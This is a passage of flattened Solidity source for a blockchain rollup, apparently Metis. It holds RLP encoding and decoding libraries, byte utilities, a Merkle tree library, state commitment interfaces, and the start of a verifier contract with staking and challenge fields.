out := div(out, exp(256, sub(32, itemLength)))
}
}
return out;
}
/**
* Reads an RLP bytes32 value into a bytes32.
* @param _in RLP bytes32 value.
* @return Decoded bytes32.
*/
function readBytes32(bytes memory _in) internal pure returns (bytes32) {
return readBytes32(toRLPItem(_in));
}
/**
* Reads an RLP uint256 value into a uint256.
* @param _in RLP uint256 value.
* @return Decoded uint256.
*/
function readUint256(RLPItem memory _in) internal pure returns (uint256) {
return uint256(readBytes32(_in));
}
/**
* Reads an RLP uint256 value into a uint256.
* @param _in RLP uint256 value.
* @return Decoded uint256.
*/
function readUint256(bytes memory _in) internal pure returns (uint256) {
return readUint256(toRLPItem(_in));
}
/**
* Reads an RLP bool value into a bool.
* @param _in RLP bool value.
* @return Decoded bool.
*/
function readBool(RLPItem memory _in) internal pure returns (bool) {
require(_in.length == 1, "Invalid RLP boolean value.");
uint256 ptr = _in.ptr;
uint256 out;
assembly {
out := byte(0, mload(ptr))
}
require(out == 0 || out == 1, "Lib_RLPReader: Invalid RLP boolean value, must be 0 or 1");
return out != 0;
}
/**
* Reads an RLP bool value into a bool.
* @param _in RLP bool value.
* @return Decoded bool.
*/
function readBool(bytes memory _in) internal pure returns (bool) {
return readBool(toRLPItem(_in));
}
/**
* Reads an RLP address value into a address.
* @param _in RLP address value.
* @return Decoded address.
*/
function readAddress(RLPItem memory _in) internal pure returns (address) {
if (_in.length == 1) {
return address(0);
}
require(_in.length == 21, "Invalid RLP address value.");
return address(uint160(readUint256(_in)));
}
/**
* Reads an RLP address value into a address.
* @param _in RLP address value.
* @return Decoded address.
*/
function readAddress(bytes memory _in) internal pure returns (address) {
return readAddress(toRLPItem(_in));
}
/**
* Reads the raw bytes of an RLP item.
* @param _in RLP item to read.
* @return Raw RLP bytes.
*/
function readRawBytes(RLPItem memory _in) internal pure returns (bytes memory) {
return _copy(_in);
}
/*********************
* Private Functions *
*********************/
/**
* Decodes the length of an RLP item.
* @param _in RLP item to decode.
* @return Offset of the encoded data.
* @return Length of the encoded data.
* @return RLP item type (LIST_ITEM or DATA_ITEM).
*/
function _decodeLength(RLPItem memory _in)
private
pure
returns (
uint256,
uint256,
RLPItemType
)
{
require(_in.length > 0, "RLP item cannot be null.");
uint256 ptr = _in.ptr;
uint256 prefix;
assembly {
prefix := byte(0, mload(ptr))
}
if (prefix <= 0x7f) {
// Single byte.
return (0, 1, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xb7) {
// Short string.
uint256 strLen = prefix - 0x80;
require(_in.length > strLen, "Invalid RLP short string.");
return (1, strLen, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xbf) {
// Long string.
uint256 lenOfStrLen = prefix - 0xb7;
require(_in.length > lenOfStrLen, "Invalid RLP long string length.");
uint256 strLen;
assembly {
// Pick out the string length.
strLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfStrLen)))
}
require(_in.length > lenOfStrLen + strLen, "Invalid RLP long string.");
return (1 + lenOfStrLen, strLen, RLPItemType.DATA_ITEM);
} else if (prefix <= 0xf7) {
// Short list.
uint256 listLen = prefix - 0xc0;
require(_in.length > listLen, "Invalid RLP short list.");
return (1, listLen, RLPItemType.LIST_ITEM);
} else {
// Long list.
uint256 lenOfListLen = prefix - 0xf7;
require(_in.length > lenOfListLen, "Invalid RLP long list length.");
uint256 listLen;
assembly {
// Pick out the list length.
listLen := div(mload(add(ptr, 1)), exp(256, sub(32, lenOfListLen)))
}
require(_in.length > lenOfListLen + listLen, "Invalid RLP long list.");
return (1 + lenOfListLen, listLen, RLPItemType.LIST_ITEM);
}
}
/**
* Copies the bytes from a memory location.
* @param _src Pointer to the location to read from.
* @param _offset Offset to start reading from.
* @param _length Number of bytes to read.
* @return Copied bytes.
*/
function _copy(
uint256 _src,
uint256 _offset,
uint256 _length
) private pure returns (bytes memory) {
bytes memory out = new bytes(_length);
if (out.length == 0) {
return out;
}
uint256 src = _src + _offset;
uint256 dest;
assembly {
dest := add(out, 32)
}
// Copy over as many complete words as we can.
for (uint256 i = 0; i < _length / 32; i++) {
assembly {
mstore(dest, mload(src))
}
src += 32;
dest += 32;
}
// Pick out the remaining bytes.
uint256 mask;
unchecked {
mask = 256**(32 - (_length % 32)) - 1;
}
assembly {
mstore(dest, or(and(mload(src), not(mask)), and(mload(dest), mask)))
}
return out;
}
/**
* Copies an RLP item into bytes.
* @param _in RLP item to copy.
* @return Copied bytes.
*/
function _copy(RLPItem memory _in) private pure returns (bytes memory) {
return _copy(_in.ptr, 0, _in.length);
}
}
// File contracts/libraries/rlp/Lib_RLPWriter.sol
// MIT
pragma solidity ^0.8.9;
/**
* @title Lib_RLPWriter
* @author Bakaoh (with modifications)
*/
library Lib_RLPWriter {
/**********************
* Internal Functions *
**********************/
/**
* RLP encodes a byte string.
* @param _in The byte string to encode.
* @return The RLP encoded string in bytes.
*/
function writeBytes(bytes memory _in) internal pure returns (bytes memory) {
bytes memory encoded;
if (_in.length == 1 && uint8(_in[0]) < 128) {
encoded = _in;
} else {
encoded = abi.encodePacked(_writeLength(_in.length, 128), _in);
}
return encoded;
}
/**
* RLP encodes a list of RLP encoded byte byte strings.
* @param _in The list of RLP encoded byte strings.
* @return The RLP encoded list of items in bytes.
*/
function writeList(bytes[] memory _in) internal pure returns (bytes memory) {
bytes memory list = _flatten(_in);
return abi.encodePacked(_writeLength(list.length, 192), list);
}
/**
* RLP encodes a string.
* @param _in The string to encode.
* @return The RLP encoded string in bytes.
*/
function writeString(string memory _in) internal pure returns (bytes memory) {
return writeBytes(bytes(_in));
}
/**
* RLP encodes an address.
* @param _in The address to encode.
* @return The RLP encoded address in bytes.
*/
function writeAddress(address _in) internal pure returns (bytes memory) {
return writeBytes(abi.encodePacked(_in));
}
/**
* RLP encodes a uint.
* @param _in The uint256 to encode.
* @return The RLP encoded uint256 in bytes.
*/
function writeUint(uint256 _in) internal pure returns (bytes memory) {
return writeBytes(_toBinary(_in));
}
/**
* RLP encodes a bool.
* @param _in The bool to encode.
* @return The RLP encoded bool in bytes.
*/
function writeBool(bool _in) internal pure returns (bytes memory) {
bytes memory encoded = new bytes(1);
encoded[0] = (_in ? bytes1(0x01) : bytes1(0x80));
return encoded;
}
/*********************
* Private Functions *
*********************/
/**
* Encode the first byte, followed by the `len` in binary form if `length` is more than 55.
* @param _len The length of the string or the payload.
* @param _offset 128 if item is string, 192 if item is list.
* @return RLP encoded bytes.
*/
function _writeLength(uint256 _len, uint256 _offset) private pure returns (bytes memory) {
bytes memory encoded;
if (_len < 56) {
encoded = new bytes(1);
encoded[0] = bytes1(uint8(_len) + uint8(_offset));
} else {
uint256 lenLen;
uint256 i = 1;
while (_len / i != 0) {
lenLen++;
i *= 256;
}
encoded = new bytes(lenLen + 1);
encoded[0] = bytes1(uint8(lenLen) + uint8(_offset) + 55);
for (i = 1; i <= lenLen; i++) {
encoded[i] = bytes1(uint8((_len / (256**(lenLen - i))) % 256));
}
}
return encoded;
}
/**
* Encode integer in big endian binary form with no leading zeroes.
* @notice TODO: This should be optimized with assembly to save gas costs.
* @param _x The integer to encode.
* @return RLP encoded bytes.
*/
function _toBinary(uint256 _x) private pure returns (bytes memory) {
bytes memory b = abi.encodePacked(_x);
uint256 i = 0;
for (; i < 32; i++) {
if (b[i] != 0) {
break;
}
}
bytes memory res = new bytes(32 - i);
for (uint256 j = 0; j < res.length; j++) {
res[j] = b[i++];
}
return res;
}
/**
* Copies a piece of memory to another location.
* @notice From: https://github.com/Arachnid/solidity-stringutils/blob/master/src/strings.sol.
* @param _dest Destination location.
* @param _src Source location.
* @param _len Length of memory to copy.
*/
function _memcpy(
uint256 _dest,
uint256 _src,
uint256 _len
) private pure {
uint256 dest = _dest;
uint256 src = _src;
uint256 len = _len;
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint256 mask;
unchecked {
mask = 256**(32 - len) - 1;
}
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
/**
* Flattens a list of byte strings into one byte string.
* @notice From: https://github.com/sammayo/solidity-rlp-encoder/blob/master/RLPEncode.sol.
* @param _list List of byte strings to flatten.
* @return The flattened byte string.
*/
function _flatten(bytes[] memory _list) private pure returns (bytes memory) {
if (_list.length == 0) {
return new bytes(0);
}
uint256 len;
uint256 i = 0;
for (; i < _list.length; i++) {
len += _list[i].length;
}
bytes memory flattened = new bytes(len);
uint256 flattenedPtr;
assembly {
flattenedPtr := add(flattened, 0x20)
}
for (i = 0; i < _list.length; i++) {
bytes memory item = _list[i];
uint256 listPtr;
assembly {
listPtr := add(item, 0x20)
}
_memcpy(flattenedPtr, listPtr, item.length);
flattenedPtr += _list[i].length;
}
return flattened;
}
}
// File contracts/libraries/utils/Lib_BytesUtils.sol
// MIT
pragma solidity ^0.8.9;
/**
* @title Lib_BytesUtils
*/
library Lib_BytesUtils {
/**********************
* Internal Functions *
**********************/
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_length + 31 >= _length, "slice_overflow");
require(_start + _length >= _start, "slice_overflow");
require(_bytes.length >= _start + _length, "slice_outOfBounds");
bytes memory tempBytes;
assembly {
switch iszero(_length)
case 0 {
// Get a location of some free memory and store it in tempBytes as
// Solidity does for memory variables.
tempBytes := mload(0x40)
// The first word of the slice result is potentially a partial
// word read from the original array. To read it, we calculate
// the length of that partial word and start copying that many
// bytes into the array. The first word we copy will start with
// data we don't care about, but the last `lengthmod` bytes will
// land at the beginning of the contents of the new array. When
// we're done copying, we overwrite the full first word with
// the actual length of the slice.
let lengthmod := and(_length, 31)
// The multiplication in the next line is necessary
// because when slicing multiples of 32 bytes (lengthmod == 0)
// the following copy loop was copying the origin's length
// and then ending prematurely not copying everything it should.
let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod)))
let end := add(mc, _length)
for {
// The multiplication in the next line has the same exact purpose
// as the one above.
let cc := add(add(add(_bytes, lengthmod), mul(0x20, iszero(lengthmod))), _start)
} lt(mc, end) {
mc := add(mc, 0x20)
cc := add(cc, 0x20)
} {
mstore(mc, mload(cc))
}
mstore(tempBytes, _length)
//update free-memory pointer
//allocating the array padded to 32 bytes like the compiler does now
mstore(0x40, and(add(mc, 31), not(31)))
}
//if we want a zero-length slice let's just return a zero-length array
default {
tempBytes := mload(0x40)
//zero out the 32 bytes slice we are about to return
//we need to do it because Solidity does not garbage collect
mstore(tempBytes, 0)
mstore(0x40, add(tempBytes, 0x20))
}
}
return tempBytes;
}
function slice(bytes memory _bytes, uint256 _start) internal pure returns (bytes memory) {
if (_start >= _bytes.length) {
return bytes("");
}
return slice(_bytes, _start, _bytes.length - _start);
}
function toBytes32(bytes memory _bytes) internal pure returns (bytes32) {
if (_bytes.length < 32) {
bytes32 ret;
assembly {
ret := mload(add(_bytes, 32))
}
return ret;
}
return abi.decode(_bytes, (bytes32)); // will truncate if input length > 32 bytes
}
function toUint256(bytes memory _bytes) internal pure returns (uint256) {
return uint256(toBytes32(_bytes));
}
function toNibbles(bytes memory _bytes) internal pure returns (bytes memory) {
bytes memory nibbles = new bytes(_bytes.length * 2);
for (uint256 i = 0; i < _bytes.length; i++) {
nibbles[i * 2] = _bytes[i] >> 4;
nibbles[i * 2 + 1] = bytes1(uint8(_bytes[i]) % 16);
}
return nibbles;
}
function fromNibbles(bytes memory _bytes) internal pure returns (bytes memory) {
bytes memory ret = new bytes(_bytes.length / 2);
for (uint256 i = 0; i < ret.length; i++) {
ret[i] = (_bytes[i * 2] << 4) | (_bytes[i * 2 + 1]);
}
return ret;
}
function equal(bytes memory _bytes, bytes memory _other) internal pure returns (bool) {
return keccak256(_bytes) == keccak256(_other);
}
}
// File contracts/libraries/utils/Lib_Bytes32Utils.sol
// MIT
pragma solidity ^0.8.9;
/**
* @title Lib_Byte32Utils
*/
library Lib_Bytes32Utils {
/**********************
* Internal Functions *
**********************/
/**
* Converts a bytes32 value to a boolean. Anything non-zero will be converted to "true."
* @param _in Input bytes32 value.
* @return Bytes32 as a boolean.
*/
function toBool(bytes32 _in) internal pure returns (bool) {
return _in != 0;
}
/**
* Converts a boolean to a bytes32 value.
* @param _in Input boolean value.
* @return Boolean as a bytes32.
*/
function fromBool(bool _in) internal pure returns (bytes32) {
return bytes32(uint256(_in ? 1 : 0));
}
/**
* Converts a bytes32 value to an address. Takes the *last* 20 bytes.
* @param _in Input bytes32 value.
* @return Bytes32 as an address.
*/
function toAddress(bytes32 _in) internal pure returns (address) {
return address(uint160(uint256(_in)));
}
/**
* Converts an address to a bytes32.
* @param _in Input address value.
* @return Address as a bytes32.
*/
function fromAddress(address _in) internal pure returns (bytes32) {
return bytes32(uint256(uint160(_in)));
}
}
// File contracts/libraries/codec/Lib_OVMCodec.sol
// MIT
pragma solidity ^0.8.9;
/* Library Imports */
/**
* @title Lib_OVMCodec
*/
library Lib_OVMCodec {
/*********
* Enums *
*********/
enum QueueOrigin {
SEQUENCER_QUEUE,
L1TOL2_QUEUE
}
/***********
* Structs *
***********/
struct EVMAccount {
uint256 nonce;
uint256 balance;
bytes32 storageRoot;
bytes32 codeHash;
}
struct ChainBatchHeader {
uint256 batchIndex;
bytes32 batchRoot;
uint256 batchSize;
uint256 prevTotalElements;
bytes extraData;
}
struct ChainInclusionProof {
uint256 index;
bytes32[] siblings;
}
struct Transaction {
uint256 timestamp;
uint256 blockNumber;
QueueOrigin l1QueueOrigin;
address l1TxOrigin;
address entrypoint;
uint256 gasLimit;
bytes data;
}
struct TransactionChainElement {
bool isSequenced;
uint256 queueIndex; // QUEUED TX ONLY
uint256 timestamp; // SEQUENCER TX ONLY
uint256 blockNumber; // SEQUENCER TX ONLY
bytes txData; // SEQUENCER TX ONLY
}
struct QueueElement {
bytes32 transactionHash;
uint40 timestamp;
uint40 blockNumber;
}
/**********************
* Internal Functions *
**********************/
/**
* Encodes a standard OVM transaction.
* @param _transaction OVM transaction to encode.
* @return Encoded transaction bytes.
*/
function encodeTransaction(Transaction memory _transaction)
internal
pure
returns (bytes memory)
{
return
abi.encodePacked(
_transaction.timestamp,
_transaction.blockNumber,
_transaction.l1QueueOrigin,
_transaction.l1TxOrigin,
_transaction.entrypoint,
_transaction.gasLimit,
_transaction.data
);
}
/**
* Hashes a standard OVM transaction.
* @param _transaction OVM transaction to encode.
* @return Hashed transaction
*/
function hashTransaction(Transaction memory _transaction) internal pure returns (bytes32) {
return keccak256(encodeTransaction(_transaction));
}
/**
* @notice Decodes an RLP-encoded account state into a useful struct.
* @param _encoded RLP-encoded account state.
* @return Account state struct.
*/
function decodeEVMAccount(bytes memory _encoded) internal pure returns (EVMAccount memory) {
Lib_RLPReader.RLPItem[] memory accountState = Lib_RLPReader.readList(_encoded);
return
EVMAccount({
nonce: Lib_RLPReader.readUint256(accountState[0]),
balance: Lib_RLPReader.readUint256(accountState[1]),
storageRoot: Lib_RLPReader.readBytes32(accountState[2]),
codeHash: Lib_RLPReader.readBytes32(accountState[3])
});
}
/**
* Calculates a hash for a given batch header.
* @param _batchHeader Header to hash.
* @return Hash of the header.
*/
function hashBatchHeader(Lib_OVMCodec.ChainBatchHeader memory _batchHeader)
internal
pure
returns (bytes32)
{
return
keccak256(
abi.encode(
_batchHeader.batchRoot,
_batchHeader.batchSize,
_batchHeader.prevTotalElements,
_batchHeader.extraData
)
);
}
}
// File contracts/libraries/utils/Lib_MerkleTree.sol
// MIT
pragma solidity ^0.8.9;
/**
* @title Lib_MerkleTree
* @author River Keefer
*/
library Lib_MerkleTree {
/**********************
* Internal Functions *
**********************/
/**
* Calculates a merkle root for a list of 32-byte leaf hashes. WARNING: If the number
* of leaves passed in is not a power of two, it pads out the tree with zero hashes.
* If you do not know the original length of elements for the tree you are verifying, then
* this may allow empty leaves past _elements.length to pass a verification check down the line.
* Note that the _elements argument is modified, therefore it must not be used again afterwards
* @param _elements Array of hashes from which to generate a merkle root.
* @return Merkle root of the leaves, with zero hashes for non-powers-of-two (see above).
*/
function getMerkleRoot(bytes32[] memory _elements) internal pure returns (bytes32) {
require(_elements.length > 0, "Lib_MerkleTree: Must provide at least one leaf hash.");
if (_elements.length == 1) {
return _elements[0];
}
uint256[16] memory defaults = [
0x290decd9548b62a8d60345a988386fc84ba6bc95484008f6362f93160ef3e563,
0x633dc4d7da7256660a892f8f1604a44b5432649cc8ec5cb3ced4c4e6ac94dd1d,
0x890740a8eb06ce9be422cb8da5cdafc2b58c0a5e24036c578de2a433c828ff7d,
0x3b8ec09e026fdc305365dfc94e189a81b38c7597b3d941c279f042e8206e0bd8,
0xecd50eee38e386bd62be9bedb990706951b65fe053bd9d8a521af753d139e2da,
0xdefff6d330bb5403f63b14f33b578274160de3a50df4efecf0e0db73bcdd3da5,
0x617bdd11f7c0a11f49db22f629387a12da7596f9d1704d7465177c63d88ec7d7,
0x292c23a9aa1d8bea7e2435e555a4a60e379a5a35f3f452bae60121073fb6eead,
0xe1cea92ed99acdcb045a6726b2f87107e8a61620a232cf4d7d5b5766b3952e10,
0x7ad66c0a68c72cb89e4fb4303841966e4062a76ab97451e3b9fb526a5ceb7f82,
0xe026cc5a4aed3c22a58cbd3d2ac754c9352c5436f638042dca99034e83636516,
0x3d04cffd8b46a874edf5cfae63077de85f849a660426697b06a829c70dd1409c,
0xad676aa337a485e4728a0b240d92b3ef7b3c372d06d189322bfd5f61f1e7203e,
0xa2fca4a49658f9fab7aa63289c91b7c7b6c832a6d0e69334ff5b0a3483d09dab,
0x4ebfd9cd7bca2505f7bef59cc1c12ecc708fff26ae4af19abe852afe9e20c862,
0x2def10d13dd169f550f578bda343d9717a138562e0093b380a1120789d53cf10
];
// Reserve memory space for our hashes.
bytes memory buf = new bytes(64);
// We'll need to keep track of left and right siblings.
bytes32 leftSibling;
bytes32 rightSibling;
// Number of non-empty nodes at the current depth.
uint256 rowSize = _elements.length;
// Current depth, counting from 0 at the leaves
uint256 depth = 0;
// Common sub-expressions
uint256 halfRowSize; // rowSize / 2
bool rowSizeIsOdd; // rowSize % 2 == 1
while (rowSize > 1) {
halfRowSize = rowSize / 2;
rowSizeIsOdd = rowSize % 2 == 1;
for (uint256 i = 0; i < halfRowSize; i++) {
leftSibling = _elements[(2 * i)];
rightSibling = _elements[(2 * i) + 1];
assembly {
mstore(add(buf, 32), leftSibling)
mstore(add(buf, 64), rightSibling)
}
_elements[i] = keccak256(buf);
}
if (rowSizeIsOdd) {
leftSibling = _elements[rowSize - 1];
rightSibling = bytes32(defaults[depth]);
assembly {
mstore(add(buf, 32), leftSibling)
mstore(add(buf, 64), rightSibling)
}
_elements[halfRowSize] = keccak256(buf);
}
rowSize = halfRowSize + (rowSizeIsOdd ? 1 : 0);
depth++;
}
return _elements[0];
}
/**
* Verifies a merkle branch for the given leaf hash. Assumes the original length
* of leaves generated is a known, correct input, and does not return true for indices
* extending past that index (even if _siblings would be otherwise valid.)
* @param _root The Merkle root to verify against.
* @param _leaf The leaf hash to verify inclusion of.
* @param _index The index in the tree of this leaf.
* @param _siblings Array of sibline nodes in the inclusion proof, starting from depth 0
* (bottom of the tree).
* @param _totalLeaves The total number of leaves originally passed into.
* @return Whether or not the merkle branch and leaf passes verification.
*/
function verify(
bytes32 _root,
bytes32 _leaf,
uint256 _index,
bytes32[] memory _siblings,
uint256 _totalLeaves
) internal pure returns (bool) {
require(_totalLeaves > 0, "Lib_MerkleTree: Total leaves must be greater than zero.");
require(_index < _totalLeaves, "Lib_MerkleTree: Index out of bounds.");
require(
_siblings.length == _ceilLog2(_totalLeaves),
"Lib_MerkleTree: Total siblings does not correctly correspond to total leaves."
);
bytes32 computedRoot = _leaf;
for (uint256 i = 0; i < _siblings.length; i++) {
if ((_index & 1) == 1) {
computedRoot = keccak256(abi.encodePacked(_siblings[i], computedRoot));
} else {
computedRoot = keccak256(abi.encodePacked(computedRoot, _siblings[i]));
}
_index >>= 1;
}
return _root == computedRoot;
}
/*********************
* Private Functions *
*********************/
/**
* Calculates the integer ceiling of the log base 2 of an input.
* @param _in Unsigned input to calculate the log.
* @return ceil(log_base_2(_in))
*/
function _ceilLog2(uint256 _in) private pure returns (uint256) {
require(_in > 0, "Lib_MerkleTree: Cannot compute ceil(log_2) of 0.");
if (_in == 1) {
return 0;
}
// Find the highest set bit (will be floor(log_2)).
// Borrowed with <3 from https://github.com/ethereum/solidity-examples
uint256 val = _in;
uint256 highest = 0;
for (uint256 i = 128; i >= 1; i >>= 1) {
if (val & (((uint256(1) << i) - 1) << i) != 0) {
highest += i;
val >>= i;
}
}
// Increment by one if this is not a perfect logarithm.
if ((uint256(1) << highest) != _in) {
highest += 1;
}
return highest;
}
}
// File contracts/L1/rollup/IChainStorageContainer.sol
// MIT
pragma solidity >0.5.0 <0.9.0;
/**
* @title IChainStorageContainer
*/
interface IChainStorageContainer {
/********************
* Public Functions *
********************/
/**
* Sets the container's global metadata field. We're using `bytes27` here because we use five
* bytes to maintain the length of the underlying data structure, meaning we have an extra
* 27 bytes to store arbitrary data.
* @param _globalMetadata New global metadata to set.
*/
function setGlobalMetadata(bytes27 _globalMetadata) external;
/**
* Retrieves the container's global metadata field.
* @return Container global metadata field.
*/
function getGlobalMetadata() external view returns (bytes27);
/**
* Retrieves the number of objects stored in the container.
* @return Number of objects in the container.
*/
function length() external view returns (uint256);
/**
* Pushes an object into the container.
* @param _object A 32 byte value to insert into the container.
*/
function push(bytes32 _object) external;
/**
* Pushes an object into the container. Function allows setting the global metadata since
* we'll need to touch the "length" storage slot anyway, which also contains the global
* metadata (it's an optimization).
* @param _object A 32 byte value to insert into the container.
* @param _globalMetadata New global metadata for the container.
*/
function push(bytes32 _object, bytes27 _globalMetadata) external;
/**
* Set an object into the container. Function allows setting the global metadata since
* we'll need to touch the "length" storage slot anyway, which also contains the global
* metadata (it's an optimization).
* @param _index position.
* @param _object A 32 byte value to insert into the container.
*/
function setByChainId(
uint256 _chainId,
uint256 _index,
bytes32 _object
)
external;
/**
* Retrieves an object from the container.
* @param _index Index of the particular object to access.
* @return 32 byte object value.
*/
function get(uint256 _index) external view returns (bytes32);
/**
* Removes all objects after and including a given index.
* @param _index Object index to delete from.
*/
function deleteElementsAfterInclusive(uint256 _index) external;
/**
* Removes all objects after and including a given index. Also allows setting the global
* metadata field.
* @param _index Object index to delete from.
* @param _globalMetadata New global metadata for the container.
*/
function deleteElementsAfterInclusive(uint256 _index, bytes27 _globalMetadata) external;
/**
* Sets the container's global metadata field. We're using `bytes27` here because we use five
* bytes to maintain the length of the underlying data structure, meaning we have an extra
* 27 bytes to store arbitrary data.
* @param _chainId identity for the l2 chain.
* @param _globalMetadata New global metadata to set.
*/
function setGlobalMetadataByChainId(
uint256 _chainId,
bytes27 _globalMetadata
)
external;
/**
* Retrieves the container's global metadata field.
* @param _chainId identity for the l2 chain.
* @return Container global metadata field.
*/
function getGlobalMetadataByChainId(
uint256 _chainId
)
external
view
returns (
bytes27
);
/**
* Retrieves the number of objects stored in the container.
* @param _chainId identity for the l2 chain.
* @return Number of objects in the container.
*/
function lengthByChainId(
uint256 _chainId
)
external
view
returns (
uint256
);
/**
* Pushes an object into the container.
* @param _chainId identity for the l2 chain.
* @param _object A 32 byte value to insert into the container.
*/
function pushByChainId(
uint256 _chainId,
bytes32 _object
)
external;
/**
* Pushes an object into the container. Function allows setting the global metadata since
* we'll need to touch the "length" storage slot anyway, which also contains the global
* metadata (it's an optimization).
* @param _chainId identity for the l2 chain.
* @param _object A 32 byte value to insert into the container.
* @param _globalMetadata New global metadata for the container.
*/
function pushByChainId(
uint256 _chainId,
bytes32 _object,
bytes27 _globalMetadata
)
external;
/**
* Retrieves an object from the container.
* @param _chainId identity for the l2 chain.
* @param _index Index of the particular object to access.
* @return 32 byte object value.
*/
function getByChainId(
uint256 _chainId,
uint256 _index
)
external
view
returns (
bytes32
);
/**
* Removes all objects after and including a given index.
* @param _chainId identity for the l2 chain.
* @param _index Object index to delete from.
*/
function deleteElementsAfterInclusiveByChainId(
uint256 _chainId,
uint256 _index
)
external;
/**
* Removes all objects after and including a given index. Also allows setting the global
* metadata field.
* @param _chainId identity for the l2 chain.
* @param _index Object index to delete from.
* @param _globalMetadata New global metadata for the container.
*/
function deleteElementsAfterInclusiveByChainId(
uint256 _chainId,
uint256 _index,
bytes27 _globalMetadata
)
external;
}
// File contracts/L1/rollup/IStateCommitmentChain.sol
// MIT
pragma solidity >0.5.0 <0.9.0;
/* Library Imports */
/**
* @title IStateCommitmentChain
*/
interface IStateCommitmentChain {
/**********
* Events *
**********/
event StateBatchAppended(
uint256 _chainId,
uint256 indexed _batchIndex,
bytes32 _batchRoot,
uint256 _batchSize,
uint256 _prevTotalElements,
bytes _extraData
);
event StateBatchDeleted(
uint256 _chainId,
uint256 indexed _batchIndex,
bytes32 _batchRoot
);
/********************
* Public Functions *
********************/
function batches() external view returns (IChainStorageContainer);
/**
* Retrieves the total number of elements submitted.
* @return _totalElements Total submitted elements.
*/
function getTotalElements() external view returns (uint256 _totalElements);
/**
* Retrieves the total number of batches submitted.
* @return _totalBatches Total submitted batches.
*/
function getTotalBatches() external view returns (uint256 _totalBatches);
/**
* Retrieves the timestamp of the last batch submitted by the sequencer.
* @return _lastSequencerTimestamp Last sequencer batch timestamp.
*/
function getLastSequencerTimestamp() external view returns (uint256 _lastSequencerTimestamp);
/**
* Appends a batch of state roots to the chain.
* @param _batch Batch of state roots.
* @param _shouldStartAtElement Index of the element at which this batch should start.
*/
function appendStateBatch(bytes32[] calldata _batch, uint256 _shouldStartAtElement) external;
/**
* Deletes all state roots after (and including) a given batch.
* @param _batchHeader Header of the batch to start deleting from.
*/
function deleteStateBatch(Lib_OVMCodec.ChainBatchHeader memory _batchHeader) external;
/**
* Verifies a batch inclusion proof.
* @param _element Hash of the element to verify a proof for.
* @param _batchHeader Header of the batch in which the element was included.
* @param _proof Merkle inclusion proof for the element.
*/
function verifyStateCommitment(
bytes32 _element,
Lib_OVMCodec.ChainBatchHeader memory _batchHeader,
Lib_OVMCodec.ChainInclusionProof memory _proof
) external view returns (bool _verified);
/**
* Checks whether a given batch is still inside its fraud proof window.
* @param _batchHeader Header of the batch to check.
* @return _inside Whether or not the batch is inside the fraud proof window.
*/
function insideFraudProofWindow(Lib_OVMCodec.ChainBatchHeader memory _batchHeader)
external
view
returns (
bool _inside
);
/********************
* chain id added func *
********************/
/**
* Retrieves the total number of elements submitted.
* @param _chainId identity for the l2 chain.
* @return _totalElements Total submitted elements.
*/
function getTotalElementsByChainId(uint256 _chainId)
external
view
returns (
uint256 _totalElements
);
/**
* Retrieves the total number of batches submitted.
* @param _chainId identity for the l2 chain.
* @return _totalBatches Total submitted batches.
*/
function getTotalBatchesByChainId(uint256 _chainId)
external
view
returns (
uint256 _totalBatches
);
/**
* Retrieves the timestamp of the last batch submitted by the sequencer.
* @param _chainId identity for the l2 chain.
* @return _lastSequencerTimestamp Last sequencer batch timestamp.
*/
function getLastSequencerTimestampByChainId(uint256 _chainId)
external
view
returns (
uint256 _lastSequencerTimestamp
);
/**
* Appends a batch of state roots to the chain.
* @param _chainId identity for the l2 chain.
* @param _batch Batch of state roots.
* @param _shouldStartAtElement Index of the element at which this batch should start.
*/
function appendStateBatchByChainId(
uint256 _chainId,
bytes32[] calldata _batch,
uint256 _shouldStartAtElement,
string calldata proposer
)
external;
/**
* Deletes all state roots after (and including) a given batch.
* @param _chainId identity for the l2 chain.
* @param _batchHeader Header of the batch to start deleting from.
*/
function deleteStateBatchByChainId(
uint256 _chainId,
Lib_OVMCodec.ChainBatchHeader memory _batchHeader
)
external;
/**
* Verifies a batch inclusion proof.
* @param _chainId identity for the l2 chain.
* @param _element Hash of the element to verify a proof for.
* @param _batchHeader Header of the batch in which the element was included.
* @param _proof Merkle inclusion proof for the element.
*/
function verifyStateCommitmentByChainId(
uint256 _chainId,
bytes32 _element,
Lib_OVMCodec.ChainBatchHeader memory _batchHeader,
Lib_OVMCodec.ChainInclusionProof memory _proof
)
external
view
returns (
bool _verified
);
/**
* Checks whether a given batch is still inside its fraud proof window.
* @param _chainId identity for the l2 chain.
* @param _batchHeader Header of the batch to check.
* @return _inside Whether or not the batch is inside the fraud proof window.
*/
function insideFraudProofWindowByChainId(
uint256 _chainId,
Lib_OVMCodec.ChainBatchHeader memory _batchHeader
)
external
view
returns (
bool _inside
);
}
// File contracts/MVM/MVM_Verifier.sol
// MIT
pragma solidity ^0.8.9;
/* Contract Imports */
/* External Imports */
contract MVM_Verifier is Lib_AddressResolver{
// second slot
address public metis;
enum SETTLEMENT {NOT_ENOUGH_VERIFIER, SAME_ROOT, AGREE, DISAGREE, PASS}
event NewChallenge(uint256 cIndex, uint256 chainID, Lib_OVMCodec.ChainBatchHeader header, uint256 timestamp);
event Verify1(uint256 cIndex, address verifier);
event Verify2(uint256 cIndex, address verifier);
event Finalize(uint256 cIndex, address sender, SETTLEMENT result);
event Penalize(address sender, uint256 stakeLost);
event Reward(address target, uint256 amount);
event Claim(address sender, uint256 amount);
event Withdraw(address sender, uint256 amount);
event Stake(address verifier, uint256 amount);
event SlashSequencer(uint256 chainID, address seq);
/*************
* Constants *
*************/
string constant public CONFIG_OWNER_KEY = "METIS_MANAGER";
//challenge info
struct Challenge {
address challenger;
uint256 chainID;
uint256 index;
Lib_OVMCodec.ChainBatchHeader header;
uint256 timestamp;
uint256 numQualifiedVerifiers;
uint256 numVerifiers;
address[] verifiers;
bool done;
}
mapping (address => uint256) public verifier_stakes;
mapping (uint256 => mapping (address=>bytes)) private challenge_keys;
mapping (uint256 => mapping (address=>bytes)) private challenge_key_hashes;
mapping (uint256 => mapping (address=>bytes)) private challenge_hashes;
mapping (address => uint256) public rewards;
mapping (address => uint8) public absence_strikes;
